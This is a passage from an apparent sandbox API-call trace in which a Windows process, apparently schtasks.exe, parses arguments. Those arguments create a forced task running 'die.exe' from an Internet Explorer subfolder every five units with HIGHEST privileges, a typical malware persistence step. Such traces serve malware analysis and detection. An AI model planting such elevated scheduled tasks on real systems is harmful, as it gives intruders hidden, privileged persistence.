returned 9 [0077.714] lstrlenW (lpString="|mo|") returned 4 [0077.714] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0077.714] SetLastError (dwErrCode=0x490) [0077.715] SetLastError (dwErrCode=0x490) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="/mo") returned 3 [0077.715] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0077.715] SetLastError (dwErrCode=0x490) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="/mo") returned 3 [0077.715] GetProcessHeap () returned 0x160000 [0077.715] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x8) returned 0x17c420 [0077.715] GetProcessHeap () returned 0x160000 [0077.715] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce20 [0077.715] SetLastError (dwErrCode=0x0) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="5") returned 1 [0077.715] SetLastError (dwErrCode=0x490) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="5") returned 1 [0077.715] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0077.715] SetLastError (dwErrCode=0x490) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="5") returned 1 [0077.715] GetProcessHeap () returned 0x160000 [0077.715] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x4) returned 0x17c440 [0077.715] GetProcessHeap () returned 0x160000 [0077.715] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce50 [0077.715] SetLastError (dwErrCode=0x0) [0077.715] SetLastError (dwErrCode=0x0) [0077.715] lstrlenW (lpString="/tr") returned 3 [0077.715] lstrlenW (lpString="-/") returned 2 [0077.715] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.716] lstrlenW (lpString="?") returned 1 [0077.716] lstrlenW (lpString="?") returned 1 [0077.716] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.716] lstrlenW (lpString="tr") returned 2 [0077.716] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.716] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.716] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.716] lstrlenW (lpString="|?|") returned 3 [0077.716] lstrlenW (lpString="|tr|") returned 4 [0077.716] SetLastError (dwErrCode=0x490) [0077.716] lstrlenW (lpString="create") returned 6 [0077.716] lstrlenW (lpString="create") returned 6 [0077.716] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.716] lstrlenW (lpString="tr") returned 2 [0077.716] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.716] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.716] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.716] lstrlenW (lpString="|create|") returned 8 [0077.716] lstrlenW (lpString="|tr|") returned 4 [0077.716] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0077.716] SetLastError (dwErrCode=0x490) [0077.716] lstrlenW (lpString="delete") returned 6 [0077.716] lstrlenW (lpString="delete") returned 6 [0077.716] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.716] lstrlenW (lpString="tr") returned 2 [0077.716] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.717] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.717] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.717] lstrlenW (lpString="|delete|") returned 8 [0077.717] lstrlenW (lpString="|tr|") returned 4 [0077.717] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0077.717] SetLastError (dwErrCode=0x490) [0077.717] lstrlenW (lpString="query") returned 5 [0077.717] lstrlenW (lpString="query") returned 5 [0077.717] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.717] lstrlenW (lpString="tr") returned 2 [0077.717] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.717] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.717] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.717] lstrlenW (lpString="|query|") returned 7 [0077.717] lstrlenW (lpString="|tr|") returned 4 [0077.717] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0077.717] SetLastError (dwErrCode=0x490) [0077.717] lstrlenW (lpString="change") returned 6 [0077.717] lstrlenW (lpString="change") returned 6 [0077.717] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.717] lstrlenW (lpString="tr") returned 2 [0077.717] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.717] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.717] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.718] lstrlenW (lpString="|change|") returned 8 [0077.718] lstrlenW (lpString="|tr|") returned 4 [0077.718] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0077.718] SetLastError (dwErrCode=0x490) [0077.718] lstrlenW (lpString="run") returned 3 [0077.718] lstrlenW (lpString="run") returned 3 [0077.718] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.718] lstrlenW (lpString="tr") returned 2 [0077.718] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.718] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.718] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.718] lstrlenW (lpString="|run|") returned 5 [0077.718] lstrlenW (lpString="|tr|") returned 4 [0077.718] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0077.718] SetLastError (dwErrCode=0x490) [0077.718] lstrlenW (lpString="end") returned 3 [0077.718] lstrlenW (lpString="end") returned 3 [0077.718] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.718] lstrlenW (lpString="tr") returned 2 [0077.718] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.718] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.718] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.718] lstrlenW (lpString="|end|") returned 5 [0077.718] lstrlenW (lpString="|tr|") returned 4 [0077.718] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0077.718] SetLastError (dwErrCode=0x490) [0077.719] lstrlenW (lpString="showsid") returned 7 [0077.719] lstrlenW (lpString="showsid") returned 7 [0077.719] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.719] lstrlenW (lpString="tr") returned 2 [0077.719] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.719] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.719] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tr|") returned 4 [0077.719] lstrlenW (lpString="|showsid|") returned 9 [0077.719] lstrlenW (lpString="|tr|") returned 4 [0077.719] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0077.719] SetLastError (dwErrCode=0x490) [0077.719] SetLastError (dwErrCode=0x490) [0077.719] SetLastError (dwErrCode=0x0) [0077.719] lstrlenW (lpString="/tr") returned 3 [0077.719] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0077.719] SetLastError (dwErrCode=0x490) [0077.719] SetLastError (dwErrCode=0x0) [0077.719] lstrlenW (lpString="/tr") returned 3 [0077.719] GetProcessHeap () returned 0x160000 [0077.719] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x8) returned 0x17c460 [0077.719] GetProcessHeap () returned 0x160000 [0077.719] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce80 [0077.719] SetLastError (dwErrCode=0x0) [0077.719] SetLastError (dwErrCode=0x0) [0077.719] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.719] lstrlenW (lpString="-/") returned 2 [0077.719] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.720] SetLastError (dwErrCode=0x490) [0077.720] SetLastError (dwErrCode=0x490) [0077.720] SetLastError (dwErrCode=0x0) [0077.720] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.720] StrChrIW (lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0077.720] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.720] GetProcessHeap () returned 0x160000 [0077.720] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17c480 [0077.720] _memicmp (_Buf1=0x17c480, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.720] GetProcessHeap () returned 0x160000 [0077.720] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17c4a0 [0077.720] GetProcessHeap () returned 0x160000 [0077.720] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17d650 [0077.720] _memicmp (_Buf1=0x17d650, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.720] GetProcessHeap () returned 0x160000 [0077.720] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x76) returned 0x17de20 [0077.720] SetLastError (dwErrCode=0x7a) [0077.720] SetLastError (dwErrCode=0x0) [0077.720] SetLastError (dwErrCode=0x0) [0077.720] lstrlenW (lpString="'C") returned 2 [0077.720] lstrlenW (lpString="-/") returned 2 [0077.720] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.720] SetLastError (dwErrCode=0x490) [0077.720] SetLastError (dwErrCode=0x490) [0077.720] SetLastError (dwErrCode=0x0) [0077.720] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.721] GetProcessHeap () returned 0x160000 [0077.721] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x74) returned 0x17dea0 [0077.721] GetProcessHeap () returned 0x160000 [0077.721] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ceb0 [0077.721] SetLastError (dwErrCode=0x0) [0077.721] SetLastError (dwErrCode=0x0) [0077.721] lstrlenW (lpString="/rl") returned 3 [0077.721] lstrlenW (lpString="-/") returned 2 [0077.721] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.721] lstrlenW (lpString="?") returned 1 [0077.721] lstrlenW (lpString="?") returned 1 [0077.721] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.721] lstrlenW (lpString="rl") returned 2 [0077.721] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.721] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.721] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.721] lstrlenW (lpString="|?|") returned 3 [0077.721] lstrlenW (lpString="|rl|") returned 4 [0077.721] SetLastError (dwErrCode=0x490) [0077.721] lstrlenW (lpString="create") returned 6 [0077.721] lstrlenW (lpString="create") returned 6 [0077.721] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.721] lstrlenW (lpString="rl") returned 2 [0077.721] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.721] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.721] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.722] lstrlenW (lpString="|create|") returned 8 [0077.722] lstrlenW (lpString="|rl|") returned 4 [0077.722] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0077.722] SetLastError (dwErrCode=0x490) [0077.722] lstrlenW (lpString="delete") returned 6 [0077.722] lstrlenW (lpString="delete") returned 6 [0077.722] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.722] lstrlenW (lpString="rl") returned 2 [0077.722] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.722] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.722] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.722] lstrlenW (lpString="|delete|") returned 8 [0077.722] lstrlenW (lpString="|rl|") returned 4 [0077.722] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0077.722] SetLastError (dwErrCode=0x490) [0077.722] lstrlenW (lpString="query") returned 5 [0077.722] lstrlenW (lpString="query") returned 5 [0077.722] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.722] lstrlenW (lpString="rl") returned 2 [0077.722] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.722] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.722] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.722] lstrlenW (lpString="|query|") returned 7 [0077.722] lstrlenW (lpString="|rl|") returned 4 [0077.722] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0077.722] SetLastError (dwErrCode=0x490) [0077.723] lstrlenW (lpString="change") returned 6 [0077.723] lstrlenW (lpString="change") returned 6 [0077.723] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.723] lstrlenW (lpString="rl") returned 2 [0077.723] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.723] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.723] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.723] lstrlenW (lpString="|change|") returned 8 [0077.723] lstrlenW (lpString="|rl|") returned 4 [0077.723] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0077.723] SetLastError (dwErrCode=0x490) [0077.723] lstrlenW (lpString="run") returned 3 [0077.723] lstrlenW (lpString="run") returned 3 [0077.723] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.723] lstrlenW (lpString="rl") returned 2 [0077.723] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.723] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.723] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.723] lstrlenW (lpString="|run|") returned 5 [0077.723] lstrlenW (lpString="|rl|") returned 4 [0077.723] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0077.723] SetLastError (dwErrCode=0x490) [0077.723] lstrlenW (lpString="end") returned 3 [0077.723] lstrlenW (lpString="end") returned 3 [0077.723] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.724] lstrlenW (lpString="rl") returned 2 [0077.724] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.724] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.724] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.724] lstrlenW (lpString="|end|") returned 5 [0077.724] lstrlenW (lpString="|rl|") returned 4 [0077.724] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0077.724] SetLastError (dwErrCode=0x490) [0077.724] lstrlenW (lpString="showsid") returned 7 [0077.724] lstrlenW (lpString="showsid") returned 7 [0077.724] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.724] lstrlenW (lpString="rl") returned 2 [0077.724] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.724] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.724] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|rl|") returned 4 [0077.724] lstrlenW (lpString="|showsid|") returned 9 [0077.724] lstrlenW (lpString="|rl|") returned 4 [0077.724] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0077.724] SetLastError (dwErrCode=0x490) [0077.724] SetLastError (dwErrCode=0x490) [0077.724] SetLastError (dwErrCode=0x0) [0077.724] lstrlenW (lpString="/rl") returned 3 [0077.724] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0077.724] SetLastError (dwErrCode=0x490) [0077.724] SetLastError (dwErrCode=0x0) [0077.724] lstrlenW (lpString="/rl") returned 3 [0077.725] GetProcessHeap () returned 0x160000 [0077.725] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x8) returned 0x17df20 [0077.725] GetProcessHeap () returned 0x160000 [0077.725] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cee0 [0077.725] SetLastError (dwErrCode=0x0) [0077.725] SetLastError (dwErrCode=0x0) [0077.725] lstrlenW (lpString="HIGHEST") returned 7 [0077.725] lstrlenW (lpString="-/") returned 2 [0077.725] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0077.725] SetLastError (dwErrCode=0x490) [0077.725] SetLastError (dwErrCode=0x490) [0077.725] SetLastError (dwErrCode=0x0) [0077.725] lstrlenW (lpString="HIGHEST") returned 7 [0077.725] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0077.725] SetLastError (dwErrCode=0x490) [0077.725] SetLastError (dwErrCode=0x0) [0077.725] lstrlenW (lpString="HIGHEST") returned 7 [0077.725] GetProcessHeap () returned 0x160000 [0077.725] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x10) returned 0x17d670 [0077.725] GetProcessHeap () returned 0x160000 [0077.725] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cf10 [0077.725] SetLastError (dwErrCode=0x0) [0077.725] SetLastError (dwErrCode=0x0) [0077.725] lstrlenW (lpString="/f") returned 2 [0077.725] lstrlenW (lpString="-/") returned 2 [0077.725] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.725] lstrlenW (lpString="?") returned 1 [0077.725] lstrlenW (lpString="?") returned 1 [0077.725] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.725] lstrlenW (lpString="f") returned 1 [0077.726] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.726] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.726] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.726] lstrlenW (lpString="|?|") returned 3 [0077.726] lstrlenW (lpString="|f|") returned 3 [0077.726] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0077.726] SetLastError (dwErrCode=0x490) [0077.726] lstrlenW (lpString="create") returned 6 [0077.726] lstrlenW (lpString="create") returned 6 [0077.726] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.726] lstrlenW (lpString="f") returned 1 [0077.726] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.726] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.726] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.726] lstrlenW (lpString="|create|") returned 8 [0077.726] lstrlenW (lpString="|f|") returned 3 [0077.726] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0077.726] SetLastError (dwErrCode=0x490) [0077.726] lstrlenW (lpString="delete") returned 6 [0077.726] lstrlenW (lpString="delete") returned 6 [0077.726] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.726] lstrlenW (lpString="f") returned 1 [0077.726] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.727] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.727] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.727] lstrlenW (lpString="|delete|") returned 8 [0077.727] lstrlenW (lpString="|f|") returned 3 [0077.727] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0077.727] SetLastError (dwErrCode=0x490) [0077.727] lstrlenW (lpString="query") returned 5 [0077.727] lstrlenW (lpString="query") returned 5 [0077.727] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.815] lstrlenW (lpString="f") returned 1 [0077.815] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.815] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.815] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.815] lstrlenW (lpString="|query|") returned 7 [0077.815] lstrlenW (lpString="|f|") returned 3 [0077.815] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0077.815] SetLastError (dwErrCode=0x490) [0077.815] lstrlenW (lpString="change") returned 6 [0077.815] lstrlenW (lpString="change") returned 6 [0077.815] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.815] lstrlenW (lpString="f") returned 1 [0077.815] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.815] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.815] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.815] lstrlenW (lpString="|change|") returned 8 [0077.816] lstrlenW (lpString="|f|") returned 3 [0077.816] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0077.816] SetLastError (dwErrCode=0x490) [0077.816] lstrlenW (lpString="run") returned 3 [0077.816] lstrlenW (lpString="run") returned 3 [0077.816] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.816] lstrlenW (lpString="f") returned 1 [0077.816] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.816] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.816] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.816] lstrlenW (lpString="|run|") returned 5 [0077.816] lstrlenW (lpString="|f|") returned 3 [0077.816] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0077.816] SetLastError (dwErrCode=0x490) [0077.816] lstrlenW (lpString="end") returned 3 [0077.816] lstrlenW (lpString="end") returned 3 [0077.816] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.816] lstrlenW (lpString="f") returned 1 [0077.816] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.816] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.816] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.816] lstrlenW (lpString="|end|") returned 5 [0077.816] lstrlenW (lpString="|f|") returned 3 [0077.816] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0077.817] SetLastError (dwErrCode=0x490) [0077.817] lstrlenW (lpString="showsid") returned 7 [0077.817] lstrlenW (lpString="showsid") returned 7 [0077.817] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.817] lstrlenW (lpString="f") returned 1 [0077.817] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.817] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.817] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|f|") returned 3 [0077.817] lstrlenW (lpString="|showsid|") returned 9 [0077.817] lstrlenW (lpString="|f|") returned 3 [0077.817] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0077.817] SetLastError (dwErrCode=0x490) [0077.817] SetLastError (dwErrCode=0x490) [0077.817] SetLastError (dwErrCode=0x0) [0077.817] lstrlenW (lpString="/f") returned 2 [0077.817] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0077.817] SetLastError (dwErrCode=0x490) [0077.817] SetLastError (dwErrCode=0x0) [0077.817] lstrlenW (lpString="/f") returned 2 [0077.817] GetProcessHeap () returned 0x160000 [0077.817] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x6) returned 0x17df40 [0077.817] GetProcessHeap () returned 0x160000 [0077.817] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cf40 [0077.817] SetLastError (dwErrCode=0x0) [0077.817] GetProcessHeap () returned 0x160000 